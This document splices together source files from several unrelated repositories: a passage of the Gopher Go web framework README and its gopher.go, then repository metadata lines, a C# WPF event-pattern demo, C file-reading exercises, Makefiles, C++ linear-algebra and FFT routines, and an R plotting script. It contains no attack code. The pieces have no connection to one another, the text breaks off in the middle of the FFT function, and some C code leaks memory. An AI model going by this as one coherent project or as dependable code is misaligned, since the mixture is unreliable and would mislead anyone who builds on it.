you want. ```go Route.NotFound(func(rw http.ResponseWriter, req *http.Request) { Render.Text(rw, "Could not find page") }) ``` #### Routing Configuration **How do I change the port/host?** Gopher's *ListenAndServe()* function defaults to using HOST value of 0.0.0.0 and PORT 3000. An easy way to change those values is to set PORT and HOST environment variables before running Gopher like this: ```awk PORT=8080 HOST=localhost go run server.go ``` ```awk > curl http://localhost:8080/ Hello, Gopher! ``` If you don't want to set the PORT and HOST environment variables you can also configure those values using the *App.Config()* API as shown below: ```go App.Config(Config{ KEY_ROUTER: ConfigRouter{ Port: 8080, Host: "localhost", StaticDirs: map[string]string{ "/static": "./static/", }, }, }) ``` Otherwise, if you want more flexibility over the way you start your app, use the *GetHttpHandler()* function instead, which returns the built-in [http.Handler](https://godoc.org/net/http#Handler): ```go http.ListenAndServe("localhost:8080", GetHttpHandler()) ``` ## Middleware In Gopher, a Middleware is a function with access to the request object (*http.Request*), the response object (*http.ResponseWriter*), the next middleware in the application's request-response cycle, commonly denoted by a function argument named next, which accepts a variadic number or arguments satisfying the *MiddlewareHandler* type. ```go func(w http.ResponseWriter, r *http.Request, next func(), args ...interface{}) ``` Gopher Middleware can: * Execute any code. * Make changes to the request and the response objects. * End the request-response cycle. * Call the next middleware in the stack. If the current middleware does not end the request-response cycle, it must call *next()* to pass control to the next middleware, otherwise the request will be left hanging. A Gopher application can use the following kinds of middleware: * [Application-level Middleware](#application-level-middleware) * [Router-level Middleware](#router-level-middleware) * [RouteGroup-level Middleware](#routegroup-level-middleware) * [Route-level Middleware](#route-level-middleware) * [Built-in Middleware](#built-in-middleware) #### Middleware &amp; the Request-Response Lifecycle //TODO #### Application-level Middleware //TODO #### Router-level Middleware #### RouteGroup-level Middleware //TODO #### Route-level Middleware //TODO #### Built-in Middleware //TODO ## Context ```go Context.Set("user", "Ricardo") Route.Get("/user", func(w http.ResponseWriter, r *http.Request) { Render.Text(w, "Hello, "+Context.Get("user").(string)) }) ``` ```go type Mappable interface { Get(key string) interface{} Has(key string) bool Set(key string, value interface{}) Remove(key string) } ``` ## Logging #### Logging Overview Gopher has six logging levels: Debug, Info, Warning, Error, Fatal and Panic: ```go Log.Debug("Useful debugging information.") Log.Info("Something noteworthy happened!") Log.Warn("You should probably take a look at this.") Log.Error("Something failed but I'm not quitting.") // Calls os.Exit(1) after logging Log.Fatal("Bye.") // Calls panic() after logging Log.Panic("I'm bailing.") ``` #### Log Levels You can set the logging level on using the global *App.Config()* API, so it will only log entries with that severity or anything above it: ```go App.Config(Config{ KEY_LOGGER: ConfigLogger{LogLevel: LEVEL_INFO}, }) // Debug logs will not be logged since we set the Log Level to LEVEL_INFO Log.Debug("Useful debugging information.") // Anything with severity Info or above it will be logged Log.Info("Something noteworthy happened!") Log.Warn("You should probably take a look at this.") Log.Error("Something failed but I'm not quitting.") ``` #### Logging Configuration Besides configuring the log level, you can also specify the time stamp format for the logging output by setting the *ConfigLogger.TimestampFormat* attribute as shown below: ```go App.Config(Config{ KEY_LOGGER: ConfigLogger{ TimestampFormat: time.RFC822, LogLevel: LEVEL_INFO, }, }) ``` ## Views &amp; Templates //TODO ## Responses //TODO []([Architecture](#architecture)[IoC Container](#ioc-container)[Contracts](#contracts)[Facades](#facades)[Service Providers](#service-providers)) ## Roadmap #### v0.9 - [x] Routing APIs - [x] Request Handlers - [x] Nested Middleware - [x] Application Context - [x] Logging - [x] Views &amp; Templates - [x] Responses - [x] IoC Container - [x] Contracts - [x] Facades - [x] Initial Documentation #### v1.0 - [ ] Extensibility APIs - [ ] Performance Benchmarks - [ ] Enhanced Documentation - [ ] Enhanced Test Cases #### v2.0 - [ ] DB/ORM - [ ] Mail - [ ] Sessions - [ ] Caching - [ ] Hashing - [ ] Authentication - [ ] Queues? #### v3.0 - [ ] Micro-Gopher Docker Containers - [ ] Health &amp; Service Instrumentation - [ ] LTS Support Options ## Frequently Asked Questions * **This looks great and I would like to start using Gopher right now, but how stable is it?** Gopher is currently in alpha (pre v0.9 release) but by all means use it now! We don't have any planned breaking API changes (although we can't guarantee it won't happen) from now until the the v1.0 release as we are mainly focusing on performance, testing, bug fixes, and extensibility until then. * **Is anyone using Gopher yet?** At Gopher Labs, we are using Gopher for several customer projects. If you, or anyone you know is using Gopher please let us know and we can include them here. * **Will you provide Long-term support (LTS)?** Yes, LTS options are planned for Gopher v3 (Target Release H1 2016). Please see our [Roadmap](#roadmap) for details. ## Support **Forum:** https://groups.google.com/d/forum/gopher-framework **Mailing List:** <EMAIL> **Twitter:** For Gopher announcements, follow us at [@gopherweb](https://twitter.com/gopherweb) **Chat:** Join the conversation at [![Join the chat at https://gitter.im/gopherlabs/gopher](https://img.shields.io/badge/GITTER-join%20chat-green.svg)](https://gitter.im/gopherlabs/gopher?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) ## Contribution Guide Thank you for considering contributing to Gopher! To encourage active collaboration, we strongly encourage [pull requests](https://github.com/gopherlabs/gopher/pulls), not just bug reports. "Bug reports" may also be sent in the form of a pull request containing a failing test. However, if you file a bug report, your [issue](https://github.com/gopherlabs/gopher/issues) should contain a title and a clear description of the problem. You should also include as much relevant information as possible and a code sample that demonstrates the issue. The goal of a bug report is to make it easy to replicate the bug and develop a fix. #### Opening a Pull Request 1. Fork the appropriate Gopher repository: [gopher](https://github.com/gopherlabs/gopher), [gopher-framework](https://github.com/gopherlabs/gopher-framework), [gopher-services](https://github.com/gopherlabs/gopher-services) 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Commit your changes (`git commit -am 'Add some feature'`) 4. Push to the branch (`git push origin my-new-feature`) 5. Create new [Pull Request](https://github.com/gopherlabs/gopher/pulls) ## Authors Created with ♥ by [<NAME>](https://github.com/ricardo-rossi) [@ricardojrossi](https://twitter.com/ricardojrossi), founder of Gopher Labs ✉ <EMAIL> Maintained with care by all its [Contributors](https://github.com/gopherlabs/gopher/graphs/contributors) Built-in Service Providers include the following vendored projects: * gorilla/mux [gorilla/mux](https://github.com/gorilla/mux) * sirupsen/logrus [https://github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) * unrolled/render [https://github.com/unrolled/render](https://github.com/unrolled/render) ## License The Gopher framework is open-sourced software licensed under the [MIT license](mit-license.md) Copyright (c) 2015 <NAME> (Gopher Labs) - <EMAIL> ## Thank you for using Gopher! We hope you enjoy using Gopher. Please Star it, Watch it, &amp; Share this repo. Follow us on Twitter [@gopherweb](https://twitter.com/gopherweb) ``` _____ / ____| | | .. .. . .. | | __ ___ _ __ | |__ ___ _ __ . .?8MMMMMNOZ$ZONMMMN~.. | | |_ |/ _ \| '_ \| '_ \ / _ \ '__| . 8M8~. .OMI. . ... . | |__| | (_) | |_) | | | | __/ | . . ...MD . .. . .. 7M ?MMMMMO \_____|\___/| .__/|_| |_|\___|_| MM:. :DNM ...MI.. 8Z. +I. .. N :M ?M | | :M . M.. ?. .M $ . = .M ~, ?. |_| M. .7IM . $. .7 . MMM. 8. _ _ _ .M 8MM +..... M ~ =MMN D. MM .I. | | | | | | .M .Z: ~ MMMMN. Z+MMMMM. D M .M. | | | | ___| |__ . M .M. . MMM.M ~ MMMII. D Z,M7 | |/\| |/ _ \ '_ \ .OMO$. .O,MMN .M D. . . M.. \ /\ / __/ |_) | M .8. M .++:.O . $. M . \/ \/ \___|_.__/ M .D . .=, MMMMMM. 77. .. M ?7 ______ _ .,8 .8MNN7 ,MMMMMMO8?. ... . .M | ___| | | .$= M .. ... .. M | |_ _ __ __ _ _ __ ___ _____ _____ _ __| | __ N N . . . = M | _| '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ / .M. $OO..N ?MD= M | | | | | (_| | | | | | | __/\ V V / (_) | | | < M . . 7 N M \_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_\ .M. . . .N N M. ``` <file_sep>/gopher.go package gopher import ( "net/http" f "github.com/gopherlabs/gopher-framework" "github.com/gopherlabs/gopher-services" ) var ( c *f.Container App *app Log f.Loggable Route f.Routable RouteGroup routeGroup Context f.Contextable Render f.Renderable ) type app struct { ctnr *f.Container } func init() { initApp() App.Config() } func initApp() { app := new(app) App = app } type Config map[string]interface{} type ConfigLogger f.ConfigLogger type ConfigRouter f.ConfigRouter type ConfigRenderer f.ConfigRenderer type GroupMatcher struct { Host string PathPrefix string Methods []string Queries []string Schemes []string } type routeGroup struct{} func (g *routeGroup) New(matcher GroupMatcher) f.Routable { return App.ctnr.RouteGroup.New(f.GroupMatcher(matcher)) } func (m *app) Config(config ...map[string]interface{}) { if len(config) > 0 { c = f.NewContainer(convertConfig(config[0])) } else { c = f.NewContainer() } App.ctnr = c c.Use(f.LoggerMiddleware) registerProviders() } func (m *app) Use(mw f.MiddlewareHandler, args ...interface{}) { m.ctnr.Use(mw, args...) } func convertConfig(in Config) f.Config { conf := f.Config{} if in[KEY_LOGGER] != nil { conf[KEY_LOGGER] = f.ConfigLogger(in[KEY_LOGGER].(ConfigLogger)) } if in[KEY_ROUTER] != nil { conf[KEY_ROUTER] = f.ConfigRouter(in[KEY_ROUTER].(ConfigRouter)) } if in[KEY_RENDERER] != nil { conf[KEY_RENDERER] = f.ConfigRenderer(in[KEY_RENDERER].(ConfigRenderer)) } return conf } func registerProviders() { c.RegisterProvider(new(services.LogProvider)) Log = c.Log c.RegisterProvider(new(services.ContextProvider)) Context = c.Context c.RegisterProvider(new(services.RouteProvider)) Route = c.Route RouteGroup = routeGroup{} c.RegisterProvider(new(services.RenderProvider)) Render = c.Render f.Initialized = true } func ListenAndServe() { Route.(f.Servable).ListenAndServe() } func GetHttpHandler() http.Handler { return Route.(f.Servable).GetHttpHandler() } const ( KEY_LOGGER = f.LOGGER KEY_ROUTER = f.ROUTER KEY_RENDERER = f.RENDERER KEY_CONTEXT = f.CONTEXT ) // Log Levels const ( // PanicLevel level, highest level of severity. Logs and then calls panic with the // message passed to Debug, Info, ... LEVEL_PANIC uint8 = iota // FatalLevel level. Logs and then calls `os.Exit(1)`. It will exit even if the // logging level is set to Panic. LEVEL_FATAL // ErrorLevel level. Logs. Used for errors that should definitely be noted. // Commonly used for hooks to send errors to an error tracking service. LEVEL_ERROR // WarnLevel level. Non-critical entries that deserve eyes. LEVEL_WARN // InfoLevel level. General operational entries about what's going on inside the // application. LEVEL_INFO // DebugLevel level. Usually only enabled when debugging. Very verbose logging. LEVEL_DEBUG )
1291af977d10776f0028280c9f12061cf0d5ed57
[ "Markdown", "Go" ]
3
Go
forkkit/gopher
6cbb38b9c7b3b4565fb8bcf8d2af2bacb5e8ca71
ff7b13bb57e304c0a09a70f11bc838115c711aa3
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace EventPattern { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { EventP p = new EventP(); public MainWindow() { InitializeComponent(); p.PrimerEventa += MetodaZaDelegat; } private void Klik(object sender, RoutedEventArgs e) { } public void MetodaZaDelegat(object x, PrimerEventaArgs a) { } } public class PrimerEventaArgs //Argumente stavljamo u zasebnu klasu da bi se zastitili pri izmenama { public decimal Cena; public string Naziv; public int Marza; public PrimerEventaArgs(decimal c, string n, int m) { Cena = c; Naziv = n; Marza = m; } } public class EventP { public delegate void PrimerEventaHandler(object KoSalje, PrimerEventaArgs a); //postfix kod delegata Handler //object kao prvi parametar, uvek saljemo referencu ka sebi //da bi svi znali ko pokrece event public event PrimerEventaHandler PrimerEventa; public void OnPrimerEventa() { PrimerEventa?.Invoke(this, new PrimerEventaArgs(234, "asd", 14)); } } }
63a7740977fd9bf2b65fd1522d0faedc1c3b486b
[ "C#" ]
1
C#
Klasternit-Kurs/EventPattern
cd102f3fde1fe2baa8366e59d056c603493bff0e
f65b49274ef0b0021150bb4a528730ccc97ebae6
refs/heads/master
<file_sep>#include <stdio.h> #include <string.h> typedef struct { float score; char name[256]; } player; //main function void partC(FILE *file) { player bestDef; player bestOff; float tempDefScore; float tempOffScore; int flag1 = 1; int flag2 = 1; int _id; char _name[256]; float _PPG; float _APG; float _RPG; float _SPG; float _MPG; int _vote1; int _vote2; int _vote3; //read and store input from file, calculate best defensive and offensive players while(fscanf(file, "%d %s %f %f %f %f %f %d %d %d", &_id, _name, &_PPG, &_APG, &_RPG, &_SPG, &_MPG, &_vote1, &_vote2, &_vote3) != EOF) { //current scores being read tempDefScore = (_RPG * 5 + _SPG * 3) / _MPG; tempOffScore = (_PPG + _APG * 2 + _RPG / 2) / _MPG; if(flag1) { flag1 = 0; bestDef.score = tempDefScore; strcpy(bestDef.name, _name); continue; } if(flag2) { flag2 = 0; bestOff.score = tempOffScore; strcpy(bestOff.name, _name); continue; } if(tempDefScore > bestDef.score) { bestDef.score = tempDefScore; strcpy(bestDef.name, _name); } if(tempOffScore > bestOff.score) { bestOff.score = tempOffScore; strcpy(bestOff.name, _name); } } //output printf("The best defense player is %s, with the defense value %f\n", bestDef.name, bestDef.score); printf("The best offense player is %s, with the offense value %f\n", bestOff.name, bestOff.score); } <file_sep>all: a.out clean a.out: code.o norms.o linear-algebra.o g++ -std="c++11" -o a.out code.o norms.o linear-algebra.o code.o: code.cpp g++ -std="c++11" -c code.cpp norms.o: norms.cpp g++ -std="c++11" -c norms.cpp linear-algebra.o: linear-algebra.cpp g++ -std="c++11" -c linear-algebra.cpp clean: rm *.o <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> void reverseWords(FILE *file) { char *lines[100]; char *words[81]; int counter; for(int i = 0; i < 100; i++) { lines[i] = calloc(81, sizeof(char)); if(fgets(lines[i], 81, file) != NULL) { counter = 81; words[0] = calloc(81, sizeof(char)); words[0] = strtok(lines[i], " "); for(int j = 1; j < 81; j++) { words[j] = calloc(81, sizeof(char)); words[j] = strtok(NULL, " \n"); if(words[j] == NULL) { counter = j; j = 81; } } for(int j = counter - 1; j >=0; j--) printf("%s ", words[j]); //free(words[j]); printf("\n"); } else { i = 100; } } } <file_sep>using namespace std; void print_vector(vector<double> x); void print_matrix(vector<vector<double>> A); vector<double> generate_spd_toeplitz(int n, int mod); vector<vector<double>> full_toeplitz(vector<double> A); vector<vector<double>> generate_spd_matrix(int n, int mod); vector<vector<double>> transpose(vector<vector<double>> A); vector<vector<double>> product(vector<vector<double>> A, vector<vector<double>> B); bool equality(vector<vector<double>> A, vector<vector<double>> B); <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> using namespace std; //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision π = M_PI; //the standard L1 norm of a vector precision norm_L1(vector<precision> x){ precision sum = 0; for(int i = 0; i < x.size(); i++) sum = sum + abs(x[i]); return sum; } //the standard L1 norm of a matrix precision norm_L1(vector<vector<precision>> X){ precision max = 0; for(int j = 0; j < X[0].size(); j++){ precision sum = 0; for(int i = 0; i < X.size(); i++) sum = sum + abs(X[i][j]); max = (sum > max) ? sum : max; } return max; } //the standard L2 norm of a vector precision norm_L2(vector<precision> x){ precision sum = 0; for(int i = 0; i < x.size(); i++) sum = sum + x[i]*x[i]; return sqrt(sum); } //the standard infinity norm of a vector precision norm_inf(vector<precision> x){ precision max = 0; for(int i = 0; i < x.size(); i++) max = (abs(x[i]) > max) ? abs(x[i]) : max; return max; } //the standard infinity norm of a matrix precision norm_inf(vector<vector<precision>> X){ precision max = 0; for(int i = 0; i < X.size(); i++){ precision sum = 0; for(int j = 0; j < X[0].size(); j++) sum = sum + abs(X[i][j]); max = (sum > max) ? sum : max; } return max; } //the standard Frobenius norm of a vector precision norm_F(vector<precision> x){ precision sum = 0; for(int i = 0; i < x.size(); i++) sum = sum + x[i] * x[i]; return sqrt(sum); } //the standard Frobenius norm of a matrix precision norm_F(vector<vector<precision>> X){ precision sum = 0; for(int i = 0; i < X.size(); i++) for(int j = 0; j < X[0].size(); j++) sum = sum + X[i][j] * X[i][j]; return sqrt(sum); } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> using namespace std; #include "norms.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision π = M_PI; vector<precision> scale(precision α, vector<precision> x){ for(int i = 0; i < x.size(); i++) x[i] = α*x[i]; return x; } vector<vector<precision>> scale(precision α, vector<vector<precision>> X){ for(int i = 0; i < X.size(); i++) for(int j = 0; j < X[0].size(); j++) X[i][j] = α*X[i][j]; return X; } precision inner_product(vector<precision> x, vector<precision> y){ precision sum = 0; for(int i = 0; i < x.size(); i++) sum = sum + x[i]*y[i]; return sum; } vector<vector<precision>> outer_product(vector<precision> x, vector<precision> y){ int n = x.size(); vector<vector<precision>> A(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) A[i].push_back(x[i]*y[j]); return A; } vector<precision> product(vector<vector<precision>> A, vector<precision> x){ int n = x.size(); vector<precision> y(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) y[i] = y[i] + A[i][j]*x[j]; return y; } vector<vector<precision>> inverse2x2(vector<vector<precision>> J){ precision determinant = J[0][0]*J[1][1] - J[0][1]*J[1][0]; precision temp = J[0][0]; J[0][0] = J[1][1]; J[1][1] = temp; J[0][1] = -J[0][1]; J[1][0] = -J[1][0]; return scale(1/determinant, J); } vector<precision> sum(vector<precision> x, vector<precision> y){ for(int i = 0; i < x.size(); i++) x[i] = x[i] + y[i]; return x; } vector<vector<precision>> sum(vector<vector<precision>> X, vector<vector<precision>> Y){ for(int i = 0; i < X.size(); i++) for(int j = 0; j < X[0].size(); j++) X[i][j] = X[i][j] + Y[i][j]; return X; } vector<precision> difference(vector<precision> x, vector<precision> y){ for(int i = 0; i < x.size(); i++) x[i] = x[i] - y[i]; return x; } vector<vector<precision>> difference(vector<vector<precision>> X, vector<vector<precision>> Y){ for(int i = 0; i < X.size(); i++) for(int j = 0; j < X[0].size(); j++) X[i][j] = X[i][j] - Y[i][j]; return X; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <math.h> struct Node; typedef struct Node { float x; float y; struct Node *next; } node; //structure modeling a point typedef struct { float x; float y; } point; //structure modeling a rectangle typedef struct { point x; point y; float area; } rectangle; //compares rectangles based on their areas int rectangleCompare(const void *a, const void *b) { return (*((rectangle *)(a))).area - ((*(rectangle *)(b))).area; } void rectangleAreas(FILE *file) { int i; int flag = 1; int size = 0; node *head = NULL; node *iterator; node *temp; point p; rectangle r; //construct a linked list and read input while(fscanf(file, "%f %f", &(p.x), &(p.y)) != EOF) { temp = (node *) malloc(sizeof(node)); temp -> x = p.x; temp -> y = p.y; temp -> next = NULL; if(flag) { flag = 0; head = temp; iterator = head; } else { iterator -> next = temp; iterator = iterator -> next; } size = size + 1; } //declare an array to hold the rectangles constructed from the points iterator = head; rectangle rectangles[size - 1]; //construct points, construct and store rectangles for(i = 0; i < size / 2; i++) { p.x = iterator -> x; p.y = iterator -> y; r.x = p; p.x = iterator -> next -> x; p.y = iterator -> next -> y; r.y = p; r.area = fabsf(r.x.x - r.y.x) * fabsf(r.x.y - r.y.y); rectangles[i] = r; iterator = iterator -> next; iterator = iterator -> next; } //sort the rectangles based on areas qsort(rectangles, size / 2, sizeof(rectangle), rectangleCompare); //output printf("Total line segments = %d\n\n", size); for(i = 0; i < size / 2; i++) { printf("Rectangle[%d]: ((%0.2f, %0.2f), (%0.2f, %0.2f));\tarea = %0.2f\n", i + 1, rectangles[i].x.x, rectangles[i].x.y, rectangles[i].y.x, rectangles[i].y.y, rectangles[i].area); } } <file_sep>void reverseWords(FILE *file); <file_sep>void reverseLines(FILE *file); <file_sep>#include <stdio.h> #include <stdlib.h> void reverseLines(FILE *file) { char *lines[100]; int counter; for(int i = 0; i < 100; i++) { //allocating space for each line in memory lines[i] = calloc(81, sizeof(char)); //reading lines from text file if(fgets(lines[i], 81, file) == NULL) { counter = i; i = 100; } } //outputing text lines in reverse order for(int i = counter - 1; i >= 0; i--) printf("%s", lines[i]); } <file_sep>void sortedTour(FILE *file); <file_sep># LU Factorization An efficient implementation of LU factorization without pivoting, with partial pivoting, and with full pivoting (pivoting addresses stability concerns) in C++. <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif precision norm_1(vector<precision> x); precision norm_1(vector<vector<precision>> X); precision norm_infinity(vector<precision> x); precision norm_infinity(vector<vector<precision>> X); precision norm_frobenius(vector<precision> x); precision norm_frobenius(vector<vector<precision>> X); <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "norms.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision π = M_PI; void print_vector(vector<precision> v){ for(int i = 0; i < v.size(); i++) cout << v[i] << endl; cout << endl; } void print_matrix(vector<vector<precision>> A){ for(int i = 0; i < A.size(); i++){ for(int j = 0; j < A[i].size(); j++) cout << A[i][j] << "\t"; cout << endl; } cout << endl; } vector<precision> scale(precision α, vector<precision> x) { for(int i = 0; i < x.size(); i++) x[i] = α*x[i]; return x; } vector<vector<precision>> scale(precision α, vector<vector<precision>> X) { for(int i = 0; i < X.size(); i++) for(int j = 0; j <= i; j++) X[i][j] = α*X[i][j]; return X; } vector<vector<precision>> transpose(vector<vector<precision>> Q){ vector<vector<precision>> QT(Q[0].size(), vector<precision>(Q.size())); for(int i = 0; i < Q.size(); i++) for(int j = 0; j < Q[0].size(); j++) QT[j][i] = Q[i][j]; return QT; } vector<precision> sum(vector<precision> x, vector<precision> y) { for(int i = 0; i < x.size(); i++) x[i] = x[i] + y[i]; return x; } vector<precision> difference(vector<precision> x, vector<precision> y) { for(int i = 0; i < x.size(); i++) x[i] = x[i] - y[i]; return x; } vector<vector<precision>> sum(vector<vector<precision>> A, vector<vector<precision>> B) { int α = A.size(); int β = B.size(); int μ = (α < β) ? α : β; for(int i = 0; i < μ; i++) { precision αi = A[α-i-1].size(); precision βi = B[β-i-1].size(); precision μi = (αi < βi) ? αi : βi; for(int j = 0; j < μi; j++) A[α-i-1][α-i-j-1] = A[α-i-1][α-i-j-1] + B[β-i-1][β-i-j-1]; } return A; } vector<vector<precision>> dense_sum(vector<vector<precision>> A, vector<vector<precision>> B) { int n = A.size(); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) A[i][j] = A[i][j] + B[i][j]; return A; } precision inner_product(vector<precision> x, vector<precision> y) { int n = x.size(); precision sum = 0; for(int i = 0; i < n; i++) sum = sum + x[i]*y[i]; return sum; } vector<vector<precision>> outer_product(vector<precision> x, vector<precision> y) { int n = x.size(); vector<vector<precision>> xyT(n); for(int i = 0; i < n; i++) for(int j = 0; j <= i; j++) xyT[i].push_back(x[i]*y[j]); return xyT; } vector<precision> product(vector<vector<precision>> X, vector<precision> x) { vector<precision> y; int shift = X.size() - x.size(); for(int d = shift; d < X.size(); d++) { vector<precision> row; for(int i = shift; i < d; i++) row.push_back(X[d][i]); for(int j = d; j < X.size(); j++) row.push_back(X[j][d]); y.push_back(inner_product(row, x)); } return y; } vector<vector<precision>> product(vector<vector<precision>> A, vector<vector<precision>> B) { int n = A.size(); vector<vector<precision>> C(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) C[i].push_back(0); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) for(int k = 0; k < n; k++) C[i][j] = C[i][j] + A[i][k]*B[k][j]; return C; } <file_sep>library("plot3D") # GRAPHING RANDU SEQUENCE data <- read.csv(file="../output/randu_triples.dat", head=FALSE) x <- as.numeric(substring(data$V1, 2)) y <- data$V2 z <- as.numeric(substring(data$V3, 1, nchar(as.character(data$V3))-1)) scatter3D(x, y, z, pch=20, theta=73, phi=7, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=74, phi=4, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=75, phi=1, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=77, phi=-1, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=79, phi=-3, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=82, phi=-5, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=84, phi=-7, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=86, phi=-9, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=88, phi=-11, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=90, phi=-13, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=93, phi=-15, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=95, phi=-17, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=97, phi=-19, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=99, phi=-21, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") scatter3D(x, y, z, pch=20, theta=102, phi=-23, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") # GRAPHING MERSENNE TWISTER SEQUENCE data <- read.csv(file="../output/mersenne_triples.dat", head=FALSE) x <- as.numeric(substring(data$V1, 2)) y <- data$V2 z <- as.numeric(substring(data$V3, 1, nchar(as.character(data$V3))-1)) scatter3D(x, y, z, pch=20, theta=30, phi=10, bty="g", ticktype="simple", xlab="x", ylab="y", zlab="z") <file_sep>void partA(FILE *file, char *name); <file_sep>all: geometry clean geometry: main.o partA.o partB.o partC.o partD.o gcc -o geometry main.o partA.o partB.o partC.o partD.o main.o: main.c partA.h partB.h partC.h partD.h gcc -c main.c partA.o: partA.c gcc -c partA.c partB.o: partB.c gcc -c partB.c partC.o: partC.c gcc -c partC.c partD.o: partD.c gcc -c partD.c clean: rm *.o <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision PI = M_PI; const complex<precision> I(0, 1); const complex<precision> NEG(-1, 0); const complex<precision> ROOT2(1/sqrt(2), 0); /* generates a random square "image" of size nxn * O(n^2) time complexity * O(n^2) space complexity * * n = the row and column dimension of the resultant matrix image * d = the divisor */ vector<vector<complex<precision>>> generate(int n, int max_range, precision divisor){ vector<vector<complex<precision>>> F(n); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) F[i].push_back(complex<precision>((rand() % max_range) / divisor, (rand() % max_range) / divisor)); return F; } /* compresses the frequencies of a DFT-transformed matrix * O(n) time complexity * O(1) space complexity (in place) * * F = the matrix to be compressed * k = how many rows/columns to compress to zero */ vector<vector<complex<precision>>> frequency_compress(vector<vector<complex<precision>>> F, int k){ int n = F.size(); for(int i = 1; i <= k; i++) for(int j = 0; j < n; j++){ F[n-i][j] = complex<precision>(0, 0); F[j][n-i] = complex<precision>(0, 0); } return F; } /* compresses the elements of a complex-valued matrix which fall below a minimum threshold * O(n^2) time complexity * O(1) space complexity (in place) * * F = the matrix to be compressed * threshold = the minimum non-zero value permissible in the compressed matrix */ vector<vector<complex<precision>>> compress_time(vector<vector<complex<precision>>> T, precision threshold){ int n = T.size(); for(int i = 0; i < n; i++) for(int j = 0; j < n; j++) if(abs(T[i][j]) < threshold) T[i][j] = complex<precision>(0, 0); return T; } /* computes the (inverse) Discrete Fourier Transform of an input time-series (or frequency) f * O(n^2) time complexity * O(n) space complexity * * f = a vector of complex numbers representing the time-series (or frequency) to be transformed of size 2^n * inverse = an integer flag which, when set, computes the inverse transform */ vector<complex<precision>> dft(vector<complex<precision>> f, int inverse){ int n = f.size(); complex<precision> theta(2 * PI/n, 0); complex<precision> scale(1/sqrt(n), 0); vector<complex<precision>> fourier; for(int i = 0; i < n; i++){//Horner's Rule suggested by colleague, as opposed to naïve monomial evaluation complex<precision> sum = f[n-1]; complex<precision> exponent(i, 0); complex<precision> mu = exp(exponent * NEG * I * theta); if(inverse) mu = conj(mu); for(int j = n-2; j >= 0; j--) sum = sum * mu + f[j]; fourier.push_back(scale * sum); } return fourier; } /* recursively computes the (inverse) Fast Fourier Transform of an input time-series (or frequency) f * O(n log(n)) time complexity * O(n log(n)) space complexity * * f = a vector of complex numbers representing the time-series (or frequency) to be transformed of size 2^n * inverse = an integer flag which, when set, computes the inverse transform */ vector<complex<precision>> fft(vector<complex<precision>> f, int inverse){ int n = f.size(); if(n == 2)//base case return dft(f, inverse); vector<complex<precision>> f_even; vector<complex<precision>> f_odd; for(int i = 0; i < n; i++)//sorting the input f into f_even and f_odd (i%2 == 0) ? f_even.push_back(f[i]) : f_odd.push_back(f[i]); f_even = fft(f_even, inverse); f_odd = fft(f_odd, inverse); complex<precision> theta(2 * PI/n, 0); for(int i = 0; i < n; i++){//combine the recursive solutions from dim n/2 to build the solution for dim n complex<precision> exponent(i, 0); complex<precision> mu = exp(exponent * 